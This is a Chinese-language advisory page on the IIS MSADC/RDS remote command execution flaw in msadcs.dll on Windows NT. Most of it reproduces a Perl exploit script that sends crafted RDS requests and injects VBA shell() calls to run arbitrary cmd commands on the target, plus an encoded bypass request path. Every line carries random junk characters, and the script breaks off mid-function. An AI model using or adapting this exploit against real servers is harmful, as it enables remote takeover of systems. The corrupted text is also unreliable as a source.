IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
[oJ& J>U' &<t79d%{ 涉及程序:
QX+Y(P`vMK Microsoft NT server
(zEYpTp dcP88!#5- 描述:
ec1Fg0Fa 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Xky@[Td* e
sGlMq 详细:
x{j+}'9 如果你没有时间读详细内容的话,就删除:
iz(m3k:w c:\Program Files\Common Files\System\Msadc\msadcs.dll
x3_,nl 有关的安全问题就没有了。
vcV!K^M- F]0Jwm{ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
(I!1sE!?1 9<w=),R`8 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
(E IR z> 关于利用ODBC远程漏洞的描述,请参看:
k3/4Bt G/ ~Ji>[#W
K http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm uzO{{S- %'kX"}N/ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Bd QQ9$@5 http://www.microsoft.com/security/bulletins/MS99-025faq.asp U#iT<#!l2 p>!1S 这里不再论述。
'%:5axg?] 37~rm 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
%qONJP vg5E/+4gp% /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Ag<4r 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Y'?Iznb 83B\+]{hD $=7H1 w #将下面这段保存为txt文件,然后: "perl -x 文件名"
#% qqL V02309Y #!perl
E=A/4p6\$ #
dPRtN@3 # MSADC/RDS 'usage' (aka exploit) script
_pJX1_vD #
gp%tMTI1 # by rain.forest.puppy
Yo>%s4_, #
Qz'O{f # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
,I("x2 # beta test and find errors!
`Nkx7Z~w: B6-AIPb use Socket; use Getopt::Std;
`Uu^I
getopts("e:vd:h:XR", \%args);
bx1G
CD b$IY2W<Ln print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
U9bFUK/z 9tW3!O^_ if (!defined $args{h} && !defined $args{R}) {
$4ka +nfU print qq~
<<i=+ed8eP Usage: msadc.pl -h <host> { -d <delay> -X -v }
5/*)+ -h <host> = host you want to scan (ip or domain)
% cU-5\xF -d <seconds> = delay between calls, default 1 second
AX/=}G -X = dump Index Server path table, if available
}ZxW"5oq -v = verbose
RJQ/y3 -e = external dictionary file for step 5
=#7s+ d- >6n@\n Or a -R will resume a command session
.n?5}s+q 44z=m MR< ~; exit;}
4X<Oux* T]5U_AI@ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
ag|9$ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
# Lu4OSM+ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
,"4X&>_f if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
ch%Q'DR_I) $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
F[Qs v54 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
+3(CGNE g`y/_ if (!defined $args{R}){ $ret = &has_msadc;
:==UDVP die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
:FEd:0TS \z(>h& print "Please type the NT commandline you want to run (cmd /c assumed):\n"
I$rW[l2 . "cmd /c ";
h+\$Z] $in=<STDIN>; chomp $in;
oXu~9'm$ $command="cmd /c " . $in ;
H{p[Ghp Zb5T90s% if (defined $args{R}) {&load; exit;}
B'<O)"1w I_{9eG1w? print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
pZNlcB[Qn- &try_btcustmr;
Iwd"f 2}W6{T' print "\nStep 2: Trying to make our own DSN...";
wpPxEp/ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
iX&Z R$~JhcX*l' print "\nStep 3: Trying known DSNs...";
cHfK-R &known_dsn;
#RsIxpc SV$ASs print "\nStep 4: Trying known .mdbs...";
hNgcE,67q &known_mdb;
M$E8: lUm}nsp=X if (defined $args{e}){
0:nt#n~_ print "\nStep 5: Trying dictionary of DSN names...";
U/~Zk@3j &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
^$^Vd@t>a vCrWA-q# print "Sorry Charley...maybe next time?\n";
NWq [22X
| exit;
}1E_G **
"s~ ##############################################################################
#&HarBxx cc#_acR sub sendraw { # ripped and modded from whisker
*8(t y%5F0 sleep($delay); # it's a DoS on the server! At least on mine...
Sxx.>gP"61 my ($pstr)=@_;
"1\RdTw socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
4%Wn}@ die("Socket problems\n");
D(2kb if(connect(S,pack "SnA4x8",2,80,$target)){
pNk,jeo select(S); $|=1;
5 }(YMsUb print $pstr; my @in=<S>;
TbSt{TX select(STDOUT); close(S);
V%Z[,C
u+ return @in;
~vvQz" } else { die("Can't connect...\n"); }}
d%"@#bB s`7
_J9 ##############################################################################
ocuNrkZ %d~9at6-B sub make_header { # make the HTTP request
mqfEs0~I my $msadc=<<EOT
Toa#>Z*+Rb POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
% /wP2O< User-Agent: ACTIVEDATA
QI^8b\36 Host: $ip
WG!;,~f>o Content-Length: $clen
R2Fh^x Connection: Keep-Alive
L@x8hUG" lyc{Z%!3 ADCClientVersion:01.06
w1/T>o Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
%v6]>FNP'3 z ]4g`K+ --!ADM!ROX!YOUR!WORLD!
8Nl|\3nl- Content-Type: application/x-varg
M#gGD- Content-Length: $reqlen
`0i}}Zo B7QtB3bn EOT
0jx~_zq-j ; $msadc=~s/\n/\r\n/g;
eDMwY$J
return $msadc;}
dJ"xW;" #j~FA3O ##############################################################################
r:\ 5/0( jnLo[Cf,H8 sub make_req { # make the RDS request
"rlSK >` my ($switch, $p1, $p2)=@_;
,h(+\^
?, my $req=""; my $t1, $t2, $query, $dsn;
d"$oV~>P| WoT z' if ($switch==1){ # this is the btcustmr.mdb query
!-}*jm p< $query="Select * from Customers where City=" . make_shell();
NCh(-E $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
+!Gr`&w*) $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
6}FDLBA FZI 4?YD?< elsif ($switch==2){ # this is general make table query
+53zI|I $query="create table AZZ (B int, C varchar(10))";
;.[$ $dsn="$p1";}
Kgio}y u$ / ]59 elsif ($switch==3){ # this is general exploit table query
|@9I5Eg)iE $query="select * from AZZ where C=" . make_shell();
zbKW.u]v $dsn="$p1";}
K@u."eaD NqfDY
elsif ($switch==4){ # attempt to hork file info from index server
(dprY1noC $query="select path from scope()";
7 QJcRZ[lU $dsn="Provider=MSIDXS;";}
vrldRn'*9 @tp7tB ; elsif ($switch==5){ # bad query
_+Kt=;Y8 $query="select";
.7^-*HT} $dsn="$p1";}
aC6b})^ ])l[tVHm $t1= make_unicode($query);
P+|8MT0 $t2= make_unicode($dsn);
y!D`.' $req = "\x02\x00\x03\x00";
"$V2 $ $req.= "\x08\x00" . pack ("S1", length($t1));
*M<=K.*\G $req.= "\x00\x00" . $t1 ;
:|mkI#P. $req.= "\x08\x00" . pack ("S1", length($t2));
/'_ RI $req.= "\x00\x00" . $t2 ;
9{#|sABGD $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
`*!>79_2C return $req;}
*w,gi.Y3 0-~x[\>> ##############################################################################
w1G.^ h4i$z-! sub make_shell { # this makes the shell() statement
oKJ7i,xT return "'|shell(\"$command\")|'";}
:P1c>:j[ bbkI}d%(Ng ##############################################################################
* c
c+Fd 'U0I.x( sub make_unicode { # quick little function to convert to unicode
#Kr.!uD my ($in)=@_; my $out;
~8{3Fc 0 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
B\&